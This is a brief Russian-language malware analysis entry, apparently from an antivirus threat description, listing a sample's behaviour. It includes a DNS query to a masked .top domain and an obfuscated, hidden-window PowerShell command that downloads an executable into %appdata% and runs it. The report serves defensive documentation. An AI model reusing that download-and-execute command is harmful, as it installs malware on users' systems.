Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://to###ores.top/read.php?f=##### как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^ow^e^rS^H^ELl.^E^XE -Exe^Cuti^onPo^L^icy^ ^BYP^a^sS -n^oP^rofil^e^ -Win^dOWsT^Y^L^e^ ^HiDD^eN (neW-o^bJe^CT ^Sys^t^EM.NET.Webc^lI^e^nt^).D^O^WNL^O^aDF^i^L^e(^'http://to###...
Сетевая активность
UDP
- DNS ASK to###ores.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^ow^e^rS^H^ELl.^E^XE -Exe^Cuti^onPo^L^icy^ ^BYP^a^sS -n^oP^rofil^e^ -Win^dOWsT^Y^L^e^ ^HiDD^eN (neW-o^bJe^CT ^Sys^t^EM.NET.Webc^lI^e^nt^).D^O^WNL^O^aDF^i^L^e(^'http://to###...' (со скрытым окном)
